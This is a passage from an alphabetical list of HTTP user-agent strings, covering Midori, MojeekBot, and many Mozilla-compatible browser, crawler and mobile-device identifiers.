fr-ca) WebKit/532+ Midori/0.1.8 (X11; Linux x86_64; U; en-us) WebKit/532+ Midori/0.1.8 (X11; Linux x86_64; U; es-es) WebKit/532+ Midori/0.1.9 (X11; FreeBSD i386; U; en-us) WebKit/532+ Midori/0.1.9 (X11; Linux i686; U; fr-fr) WebKit/532+ Midori/0.2 (Windows; U; Windows NT 6.1; en-US) WebKit/531.2+ Midori/0.2 (Windows; Windows; U; ru-ru) WebKit/531.2+ Midori/0.2 (X11; FreeBSD; U; en-us) WebKit/531.2+ Midori/0.2 (X11; Linux; U; zh-cn) WebKit/531.2+ Midori/0.2.0 (X11; Linux i686; U; de-de) WebKit/531.2+ Midori/0.2.0 (X11; Linux i686; U; pt-br) WebKit/531.2+ Midori/0.2.2 (X11; Linux i686; U; fr-ca) WebKit/531.2+ Midori/0.2.2 (X11; Linux i686; U; ja-jp) WebKit/531.2+ Mindjet MindManager Minefield MiracleAlphaTest Missauga Locate 1.0.0 Missigua Locator 1.9 Missouri College Browse Mister PiX version.dll Mister Pix II 2.02a Misterbot-Nutch/0.7.1 (Misterbot-Nutch; http://www.misterbot.fr; admin@misterbot.fr) Miva (AlgoFeedback@miva.com) Mizzu Labs 2.2 MnogoSearch/3.2.xx Mnogosearch-3.1.21 Mo College 1.9 Mobile Safari 1.1.3 (iPhone U; CPU like Mac OS X; en) MobileSafari/600.1.4 CFNetwork/711.1.12 Darwin/14.0.0 MojeekBot/0.2 (archi; http://www.mojeek.com/bot.html) MojeekBot/0.x (archi; http://www.mojeek.com/bot.html) Mojoo Robot (http://www.mojoo.com/) MoonBrowser (version 0.41 Beta4) MoreQuick Moreoverbot/5.00 (+http://www.moreover.com) Moreoverbot/5.00 (+http://www.moreover.com; webmaster@moreover.com) Moreoverbot/5.1 ( http://w.moreover.com; webmaster@moreover.com) Mozilla/5.0 Moreoverbot/x.00 (+http://www.moreover.com) Morning Paper 1.0 (robots.txt compliant!) Morris - Mixcat Crawler ( http://mixcat.com) Motoricerca-Robots.txt-Checker/1.0 (http://tool.motoricerca.info/robots-checker.phtml) Motorola-V3m Obigo Mouse-House/7.4 (spider_monkey spider info at www.mobrien.com/sm.shtml) MovableType/x.x Mozi! Mozilla Mozilla (Mozilla@somewhere.com) Mozilla (libwhisker/2.4) Mozilla /4.0 (compatible;MSIE 7.0;Windows NT6.0) Mozilla /5.0 (Windows NT 6.0; U; en) Gecko/2008071222 Firefox/3.0.1 Mozilla 4.0(compatible; BotSeer/1.0; +http://botseer.ist.psu.edu) Mozilla 5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/200770508 Iceweasel/2.0.0.4 Mozilla/1.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2) Mozilla/1.1 (compatible; MSPIE 2.0; Windows CE) Mozilla/1.10 [en] (Compatible; RISC OS 3.70; Oregano 1.10) Mozilla/1.10 [en] (Compatible; RISC OS 3.70; Oregano 1.10) Mozilla/1.22 (compatible; MSIE 10.0; Windows 3.1) Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1) Mozilla/1.22 (compatible; MSIE 2.0; Windows 95) Mozilla/1.22 (compatible; MSIE 2.0d; Windows NT) Mozilla/1.22 (compatible; MSIE 5.01; PalmOS 3.0) EudoraWeb 2 Mozilla/1.22 (compatible; MSIE 5.01; PalmOS 3.0) EudoraWeb 2.1 Mozilla/10.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2) Mozilla/15.0 (X11; U; Linux i686; es-ES; rv:1.8.1.9) Gecko/20071025 Iceweasel/2.0.0.9 Mozilla/2.0 Mozilla/2.0 (Compatible; AOL-IWENG 3.0; Win16) Mozilla/2.0 (compatible; AOL 3.0; Mac_PowerPC) Mozilla/2.0 (compatible; Ask Jeeves) Mozilla/2.0 (compatible; Ask Jeeves/Teoma) Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://about.ask.com/en/docs/about/webmasters.shtml) Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://sp.ask.com/docs/about/tech_crawling.html) Mozilla/2.0 (compatible; Ask Jeeves/Teoma; http://about.ask.com/en/docs/about/webmasters.shtml) Mozilla/2.0 (compatible; Ask Jeeves/Teoma; http://sp.ask.com/docs/about/tech_crawling.html) Mozilla/2.0 (compatible; EZResult -- Internet Search Engine) Mozilla/2.0 (compatible; MS FrontPage x.0) Mozilla/2.0 (compatible; MSIE 2.1; Mac_PowerPC) Mozilla/2.0 (compatible; MSIE 3.01; Windows 95) Mozilla/2.0 (compatible; MSIE 3.02; Update a; AK; Windows NT) Mozilla/2.0 (compatible; MSIE 3.02; Update a; AOL 3.0; Windows 95) Mozilla/2.0 (compatible; MSIE 3.02; Windows 3.1) Mozilla/2.0 (compatible; MSIE 3.03; Windows 3.1) Mozilla/2.0 (compatible; MSIE 3.0; AK; Windows 95) Mozilla/2.0 (compatible; MSIE 3.0; Windows 3.1) Mozilla/2.0 (compatible; MSIE 3.0; Windows 95) Mozilla/2.0 (compatible; MSIE 3.0B; Win32) Mozilla/2.0 (compatible; MSIE 3.0B; Windows NT) Mozilla/2.0 (compatible; MSIE 4.0; Windows 98) Mozilla/2.0 (compatible; MSIE 5.0; Windows 98) Mozilla/2.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2) Mozilla/2.0 (compatible; NEWT ActiveX; Win32) Mozilla/2.0 (compatible; T-H-U-N-D-E-R-S-T-O-N-E) Mozilla/2.0 compatible; Check&Get 1.1x (Windows 98) Mozilla/2.01 (Win16; I) Mozilla/2.02 [fr] (WinNT; I) Mozilla/2.02E (Win95; U) Mozilla/2.02Gold (Win95; I) Mozilla/3.0 (Compatible;Viking/1.8) Mozilla/3.0 (DreamPassport/3.0) Mozilla/3.0 (INGRID/3.0 MT; webcrawler@NOSPAMexperimental.net; http://aanmelden.ilse.nl/?aanmeld_mode=webhints) Mozilla/3.0 (Liberate DTV 1.1) Mozilla/3.0 (Macintosh; I; 68K) Mozilla/3.0 (Macintosh; I; PPC) Mozilla/3.0 (Macintosh; U; PPC Mac OS X; pl-PL) Mozilla/3.0 (Planetweb/2.100 JS SSL US; Dreamcast US) Mozilla/3.0 (Slurp.so/Goo; slurp@inktomi.com; http://www.inktomi.com/slurp.html) Mozilla/3.0 (Slurp/cat; slurp@inktomi.com; http://www.inktomi.com/slurp.html) Mozilla/3.0 (Slurp/si; slurp@inktomi.com; http://www.inktomi.com/slurp.html) Mozilla/3.0 (Vagabondo/1.1 MT; webcrawler@NOSPAMwise-guys.nl; http://webagent.wise-guys.nl/) Mozilla/3.0 (Vagabondo/1.x MT; webagent@wise-guys.nl; http://webagent.wise-guys.nl/) Mozilla/3.0 (Vagabondo/2.0 MT; webcrawler@NOSPAMexperimental.net; http://aanmelden.ilse.nl/?aanmeld_mode=webhints) Mozilla/3.0 (Vagabondo/2.0 MT; webcrawler@NOSPAMwise-guys.nl; http://webagent.wise-guys.nl/) Mozilla/3.0 (Win16; I) Mozilla/3.0 (Win95; I) Mozilla/3.0 (WinNT; I) Mozilla/3.0 (Windows NT 5.0; U) Opera 7.01 [en] Mozilla/3.0 (Windows NT 5.0; U) Opera 7.10 [de] Mozilla/3.0 (Windows NT 5.1; U) Opera 7.54 [de] Mozilla/3.0 (Windows NT 5.1; U) Opera 7.54 [en] Mozilla/3.0 (WorldGate Gazelle 3.5.1 build 11; FreeBSD2.2.8-STABLE) Mozilla/3.0 (X11; I; AIX 2) Mozilla/3.0 (X11; I; OSF1 V4.0 alpha) Mozilla/3.0 (compatible) Mozilla/3.0 (compatible; AvantGo 3.2) Mozilla/3.0 (compatible; Fluffy the spider; http://www.searchhippo.com/; info@searchhippo.com) Mozilla/3.0 (compatible; HP Web PrintSmart 04b0 1.0.1.34) Mozilla/3.0 (compatible; Indy Library) Mozilla/3.0 (compatible; Linkman) Mozilla/3.0 (compatible; MSIE 3.0; Windows NT 5.0) Mozilla/3.0 (compatible; MSIE 5.0; Windows NT 5.1; Trident/4.0; Media Center PC 3.1; .NET CLR 3.0.04506.30) Mozilla/3.0 (compatible; MuscatFerret/1.5.4; claude@euroferret.com) Mozilla/3.0 (compatible; MuscatFerret/1.5; olly@muscat.co.uk) Mozilla/3.0 (compatible; MuscatFerret/1.6.x; claude@euroferret.com) Mozilla/3.0 (compatible; NetPositive/2.1.1; BeOS) Mozilla/3.0 (compatible; NetPositive/2.2) Mozilla/3.0 (compatible; NetPositive/2.2.2; BeOS) Mozilla/3.0 (compatible; Opera/3.0; Windows 3.1) v3.1 Mozilla/3.0 (compatible; Opera/3.0; Windows 95/NT4) 3.2 Mozilla/3.0 (compatible; PerMan Surfer 3.0; Win95) Mozilla/3.0 (compatible; REL Software Web Link Validator 2.x) Mozilla/3.0 (compatible; ScollSpider; http://www.webwobot.com) Mozilla/3.0 (compatible; Web Link Validator 2.x)Web Link Validator http://www.relsoftware.com/ link validation software Mozilla/3.0 (compatible; WebCapture 1.0; Windows) Mozilla/3.0 (compatible; WebCapture 2.0; Windows) Mozilla/3.0 (compatible; WebCapture x.x; Auto; Windows) Mozilla/3.0 (compatible; Webinator-DEV01.home.iprospect.com/2.56) Mozilla/3.0 (compatible; Webinator-indexer.cyberalert.com/2.56) Mozilla/3.0 (compatible; netart generator/1.0; libwww-perl/5.64) Mozilla/3.0 (compatible; scan4mail (advanced version) http://www.peterspages.net/?scan4mail) Mozilla/3.0 NAVIO_AOLTV (11; 13; Philips; PH200; 1; R2.0C36_AOL.0110OPTIK; R2.0.0139d_OPTIK) Mozilla/3.0 WebTV/1.2 (compatible; MSIE 2.0) Mozilla/3.01 (Compatible; Links2Go Similarity Engine) Mozilla/3.01 (Macintosh; U; PPC) Mozilla/3.01 (compatible; AmigaVoyager/2.95; AmigaOS/MC680x0) Mozilla/3.01 (compatible; Netbox/3.5 R92; Linux 2.2) Mozilla/3.01 [de] (Win95; I) Mozilla/3.01-C-MACOS8 (Macintosh; I; PPC) Mozilla/3.01Gold (Macintosh; I; 68K) Mozilla/3.01Gold (Win95; I) Mozilla/3.01Gold (X11; I; Linux 2.0.32 i486) Mozilla/3.01Gold (X11; I; SunOS 5.5.1 sun4m) Mozilla/3.01SGoldC-SGI (X11; I; IRIX 6.3 IP32) Mozilla/3.02 [en] (Windows NT 5.1; U) Mozilla/3.04 (WinNT; I) Mozilla/3.04 (compatible; ANTFresco/2.13; RISC OS 4.02) Mozilla/3.04 (compatible; NCBrowser/2.35; ANTFresco/2.17; RISC OS-NC 5.13 Laz1UK1309) Mozilla/3.04 (compatible;QNX Voyager 2.03B ;Photon) Mozilla/3.04Gold (Macintosh; I; PPC) Mozilla/3.04Gold (WinNT; U) Mozilla/3.x (I-Opener 1.1; Netpliance) Mozilla/4.0 Mozilla/4.0 (compatible; MSIE 5.5; AOL 5.0; Windows NT 5.0) Mozilla/4.0 ( ; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Mozilla/4.0 ( ; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6.6; .NET CLR 3.5.30729) Mozilla/4.0 ( compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar ) Mozilla/4.0 (Compatible); URLBase 6 Mozilla/4.0 (Compatible; MSIE 4.0) Mozilla/4.0 (Compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.0.04506.30; MS-RTC LM 8; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (Compatible; MSIE 5.5; Windows NT5.0; Q312461; SV1; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (Compatible; MSIE 7.0; Windows NT 5.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506; .NET CLR 3.5.21022; MS-RTC LM 8) Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0) Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 6.1; .NET CLR 1.1.4322; Windows NT 6.1; Trident/4.0; Mozilla/4.0; MSIE 6.0; Windows NT 5.1; SV1 ; SLCC2; .NET CLR 2.0.50727; Media Center PC 6.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.1.4322) Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 6.1; FDM; .NET CLR 1.1.4322; Windows NT 6.1; Trident/4.0; Mozilla/4.0; MSIE 6.0; Windows NT 5.1; SV1 ; SLCC2; .NET CLR 2.0.50727; Media Center PC 6.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.1. Mozilla/4.0 (Compatible; Windows NT 5.1; MSIE 6.0) (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (JemmaTheTourist;http://www.activtourist.com) Mozilla/4.0 (MSIE 6.0; Windows NT 5.0) Mozilla/4.0 (MSIE 6.0; Windows NT 5.1) Mozilla/4.0 (MobilePhone PM-8200/US/1.0) NetFront/3.x MMP/2.0 Mozilla/4.0 (MobilePhone SCP-5500/US/1.0) NetFront/3.0 MMP/2.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html) Mozilla/4.0 (MobilePhone SCP-5500/US/1.0) NetFront/3.0 MMP/2.0 FAKE (compatible; Googlebot/2.1; http://www.google.com/bot.html) Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1) Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30) Mozilla/4.0 (Mozilla; http://www.mozilla.org/docs/en/bot.html; master@mozilla.com) Mozilla/4.0 (PDA; PalmOS/sony/model prmr/Revision:1.1.54 (en)) NetFront/3.0 Mozilla/4.0 (PS3 (PlayStation 3); 1.00) Mozilla/4.0 (PSP (PlayStation Portable); 2.00) Mozilla/4.0 (Sleek Spider/1.2) Mozilla/4.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/11.0.1245.0 Safari/537.36 Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.0) Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.2) Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 6.0) Mozilla/4.0 (Windows; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Mozilla/4.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.33 Safari/532.0 Mozilla/4.0 (Windows; U; Windows NT 5.0; en-us; rv:1.9.1.5) Gecko/20100523 Firefox/3.5.2 Mozilla/4.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.59 Safari/525.19 Mozilla/4.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0 Mozilla/4.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/4.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.2) Gecko/2010324480 Firefox/3.5.4 Mozilla/4.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.3.1) Gecko/2009281128 Firefox/3.0.6 Mozilla/4.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.7) Gecko/2008398325 Firefox/3.1.4 Mozilla/4.0 (X11; MSIE 6.0; i686; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM) Mozilla/4.0 (agadine3.0) www.agada.de Mozilla/4.0 (compatible ; MSIE 6.0; Windows NT 5.1) Mozilla/4.0 (compatible: AstraSpider V.2.1 : astrafind.com) Mozilla/4.0 (compatible: FDSE robot) Mozilla/4.0 (compatible: Shoula robot) Mozilla/4.0 (compatible; Intel Mac OS X 10.6; rv:2.0b8) Gecko/20100101 Firefox/4.0b8) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4325; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30707; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SLCC1; .NET CLR 1.1.4325; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts) Mozilla/4.0 (compatible; U; MSIE 9.0; WIndows NT 9.0; en-US) Mozilla/4.0 (compatible; Vagabondo/2.2; webcrawler at wise-guys dot nl; http://webagent.wise-guys.nl/) Mozilla/4.0 (compatible; Vagabondo/4.0Beta; webcrawler at wise-guys dot nl; http://webagent.wise-guys.nl/) Mozilla/4.0 (compatible; Vagabondo/4.0Beta; webcrawler at wise-guys dot nl; http://webagent.wise-guys.nl/; http://www.wise-guys.nl/) Mozilla/4.0 (compatible; ReGet Deluxe 5.1; Windows NT 5.1) Mozilla/4.0 (compatible; Advanced Email Extractor v2.xx) Mozilla/4.0 (compatible; Arachmo) Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T) Mozilla/4.0 (compatible; BOTW Spider; +http://botw.org) Mozilla/4.0 (compatible; B_L_I_T_Z_B_O_T) Mozilla/4.0 (compatible; BlitzBot) Mozilla/4.0 (compatible; BorderManager 3.0) Mozilla/4.0 (compatible; Cerberian Drtrs Version-3.2-Build-0) Mozilla/4.0 (compatible; Cerberian Drtrs Version-3.2-Build-1) Mozilla/4.0 (compatible; Check&Get 3.0; Windows NT) Mozilla/4.0 (compatible; ChristCrawler.com ChristCrawler@ChristCENTRAL.com) Mozilla/4.0 (compatible; DAUMOA-video; +http://ws.daum.net/aboutkr.html) Mozilla/4.0 (compatible; DepSpid/5.0x; +http://about.depspid.net) Mozilla/4.0 (compatible; Dillo 3.0) Mozilla/4.0 (compatible; DnloadMage 1.0) Mozilla/4.0 (compatible; FDSE robot) Mozilla/4.0 (compatible; FastCrawler3 support-fastcrawler3@fast.no) Mozilla/4.0 (compatible; GPU p2p crawler http://gpu.sourceforge.net/search_engine.php) Mozilla/4.0 (compatible; GoogleToolbar 4.0.1019.5266-big; Windows XP 5.1; MSIE 6.0.2900.2180) Mozilla/4.0 (compatible; IBrowse 2.3; AmigaOS4.0) Mozilla/4.0 (compatible; ICS 1.2.xxx) Mozilla/4.0 (compatible; IE-Favorites-Check-0.5) Mozilla/4.0 (compatible; Iplexx Spider/1.0 http://www.iplexx.at) Mozilla/4.0 (compatible; KeepNI web site monitor) Mozilla/4.0 (compatible; Link Utility; http://net-promoter.com) Mozilla/4.0 (compatible; Linux 2.6.10) NetFront/3.3 Kindle/1.0 (screen 600x800) Mozilla/4.0 (compatible; Linux 2.6.10) NetFront/3.4 Kindle/1.0 (screen 600x800) Mozilla/4.0 (compatible; Linux 2.6.22) NetFront/3.4 Kindle/2.0 (screen 600x800) Mozilla/4.0 (compatible; Linux 2.6.22) NetFront/3.4 Kindle/2.0 (screen 824x1200; rotate) Mozilla/4.0 (compatible; Linux 2.6.22) NetFront/3.4 Kindle/2.1 (screen 824x1200; rotate) Mozilla/4.0 (compatible; Linux 2.6.22) NetFront/3.4 Kindle/2.3 (screen 1200x824; rotate) Mozilla/4.0 (compatible; Linux 2.6.22) NetFront/3.4 Kindle/2.3 (screen 600x800; rotate) Mozilla/4.0 (compatible; Linux 2.6.22) NetFront/3.4 Kindle/2.5 (screen 1200x824; rotate) Mozilla/4.0 (compatible; Linux 2.6.22) NetFront/3.4 Kindle/2.5 (screen 600x800; rotate) Mozilla/4.0 (compatible; Linux 2.6.22) NetFront/3.4 Kindle/2.5 (screen 824x1200; rotate) Mozilla/4.0 (compatible; Linux 2.6.22) NetFront/3.4 Kindle/2.5 (screen 824x1200;rotate) Mozilla/4.0 (compatible; Lotus-Notes/5.0; Windows-NT) Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0) Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Mozilla/4.0 (compatible; MSIE 4.01; AOL 4.0; Mac_68K) Mozilla/4.0 (compatible; MSIE 4.01; AOL 4.0; Windows 95) Mozilla/4.0 (compatible; MSIE 4.01; AOL 4.0; Windows 98) Mozilla/4.0 (compatible; MSIE 4.01; MSIECrawler; Windows 95) Mozilla/4.0 (compatible; MSIE 4.01; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 4.01; Vonna.com b o t) Mozilla/4.0 (compatible; MSIE 4.01; Windows 2000) Mozilla/4.0 (compatible; MSIE 4.01; Windows 95) Mozilla/4.0 (compatible; MSIE 4.01; Windows 98) Mozilla/4.0 (compatible; MSIE 4.01; Windows 98; DigExt) Mozilla/4.0 (compatible; MSIE 4.01; Windows 98; Hotbar 3.0) Mozilla/4.0 (compatible; MSIE 4.01; Windows CE) Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; MSN Companion 2.0; 800x600; Compaq) Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC) Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; PPC) Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; SPV M700; OpVer 19.123.2.733) OrangeBot-Mobile 2008.0 (mobilesearch.support@orange-ftgroup.com) Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; Sprint:PPC-6700; PPC; 240x320) Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; MDA Pro/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1) Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPS; 240x320) Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone; 176x220) Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:PPC-i830; PPC; 240x320) Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SCH-i320; Smartphone; 176x220) Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SCH-i830; PPC; 240x320) Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SPH-ip320; Smartphone; 176x220) Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SPH-ip830w; PPC; 240x320) Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint; SCH-i830; PPC; 240x320) Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint;PPC-i830; PPC; 240x320) Mozilla/4.0 (compatible; MSIE 4.01; Windows NT 5.0) Mozilla/4.0 (compatible; MSIE 4.01; Windows NT 5.0; Avant Browser) Mozilla/4.0 (compatible; MSIE 4.01; Windows NT Windows CE) Mozilla/4.0 (compatible; MSIE 4.01; Windows NT) Mozilla/4.0 (compatible; MSIE 4.01; Windows NT; MS Search 4.0 Robot) Microsoft Mozilla/4.0 (compatible; MSIE 4.0; Windows 95) Mozilla/4.0 (compatible; MSIE 4.0; Windows 95; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 4.0; Windows 98 ) Mozilla/4.0 (compatible; MSIE 4.0; Windows NT) Mozilla/4.0 (compatible; MSIE 4.0; Windows NT; Site Server 3.0 Robot) ACR Mozilla/4.0 (compatible; MSIE 4.0; Windows NT; Site Server 3.0 Robot) Indonesia Interactive Mozilla/4.0 (compatible; MSIE 4.0; Windows NT; Site Server 3.0 Robot) WebQuest Designs Mozilla/4.0 (compatible; MSIE 4.5; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 4.5; Windows 98; ) Mozilla/4.0 (compatible; MSIE 4.5; Windows NT 5.1; .NET CLR 2.0.40607) Mozilla/4.0 (compatible; MSIE 5.00; Windows 98) Mozilla/4.0 (compatible; MSIE 5.01; AOL 4.0; Windows 98) Mozilla/4.0 (compatible; MSIE 5.01; AOL 7.0; Windows NT 5.0) Mozilla/4.0 (compatible; MSIE 5.01; AOL 8.0; Windows 98) Mozilla/4.0 (compatible; MSIE 5.01; Windows 95) Mozilla/4.0 (compatible; MSIE 5.01; Windows 95) via Avirt Gateway Server v4.0 Mozilla/4.0 (compatible; MSIE 5.01; Windows 95; YComp 5.0.2.5) Mozilla/4.0 (compatible; MSIE 5.01; Windows 95; YComp 5.0.2.6) Mozilla/4.0 (compatible; MSIE 5.01; Windows 98) Mozilla/4.0 (compatible; MSIE 5.01; Windows 98; (R1 1.3)) Mozilla/4.0 (compatible; MSIE 5.01; Windows 98; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 5.01; Windows 98; Crazy Browser 1.0.5) Mozilla/4.0 (compatible; MSIE 5.01; Windows 98; DigExt) Mozilla/4.0 (compatible; MSIE 5.01; Windows 98; FunWebProducts) Mozilla/4.0 (compatible; MSIE 5.01; Windows 98; Hotbar 4.1.5.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows 98; Hotbar 4.1.8.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows 98; Hotbar 4.2.11.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows 98; Hotbar 4.2.4.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows 98; Hotbar 4.2.6.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows 98; Hotbar 4.2.8.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows 98; MSIECrawler) Mozilla/4.0 (compatible; MSIE 5.01; Windows 98; Wanadoo 5.1) Mozilla/4.0 (compatible; MSIE 5.01; Windows 98; Wanadoo 5.3) Mozilla/4.0 (compatible; MSIE 5.01; Windows 98; YComp 5.0.0.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows 98; YComp 5.0.0.0; (R1 1.1)) Mozilla/4.0 (compatible; MSIE 5.01; Windows 98; YComp 5.0.2.4) Mozilla/4.0 (compatible; MSIE 5.01; Windows 98; YComp 5.0.2.5) Mozilla/4.0 (compatible; MSIE 5.01; Windows 98; YComp 5.0.2.6) Mozilla/4.0 (compatible; MSIE 5.01; Windows 98; i-NavFourF) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) (samualt9@bigfoot.com) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; (R1 1.1)) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; (R1 1.5); .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; .NET CLR 1.0.2914) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Avant Browser) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Crazy Browser 1.0.5) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; DigExt) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; DigExt; Hotbar 4.1.8.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; DigExt; YComp 5.0.0.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; DigExt; YComp 5.0.2.4) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; FunWebProducts) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; HbTools 4.7.1) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 3.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 4.1.4.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 4.1.7.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 4.1.8.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 4.2.1.1198) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 4.2.13.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 4.2.4.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 4.2.8.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 4.2.8.0; (R1 1.3)) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 4.2.9.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 4.3.2.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 4.3.5.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MSIECrawler) Mozilla/4.0 